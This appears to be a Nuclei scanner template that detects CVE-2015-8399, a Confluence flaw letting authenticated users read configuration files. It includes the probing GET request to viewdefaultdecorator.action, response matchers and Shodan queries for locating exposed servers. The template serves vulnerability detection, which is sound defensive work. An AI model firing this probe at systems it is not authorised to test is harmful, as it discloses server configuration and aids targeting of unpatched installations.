id: CVE-2015-8399

info:
  name: Atlassian Confluence <5.8.17 - Information Disclosure
  author: princechaddha
  severity: medium
  description: Atlassian Confluence before 5.8.17 contains an information disclsoure vulnerability. A remote authenticated user can read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information.
  remediation: |
    Upgrade to a version higher than 5.8.17 to mitigate the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
    - https://www.exploit-db.com/exploits/39170/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8399
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-8399
    cwe-id: CWE-200
    epss-score: 0.9655
    epss-percentile: 0.99519
    cpe: cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: confluence
    shodan-query:
      - http.component:"Atlassian Confluence"
      - cpe:"cpe:2.3:a:atlassian:confluence"
      - http.component:"atlassian confluence"
  tags: cve2015,cve,edb,atlassian,confluence

http:
  - method: GET
    path:
      - "{{BaseURL}}/spaces/viewdefaultdecorator.action?decoratorName"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "confluence-init.properties"
          - "View Default Decorator"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ed0bbd9254dcb5150e28d6ca05a316af57179ac71b85abb85f737f06436cbe1202207907ef74d5a00e6e3bb6012f1cb29d8486a9ecfeb13cc61e12cada9abb86dbb4:922c64590222798bb761d5b6d8e72950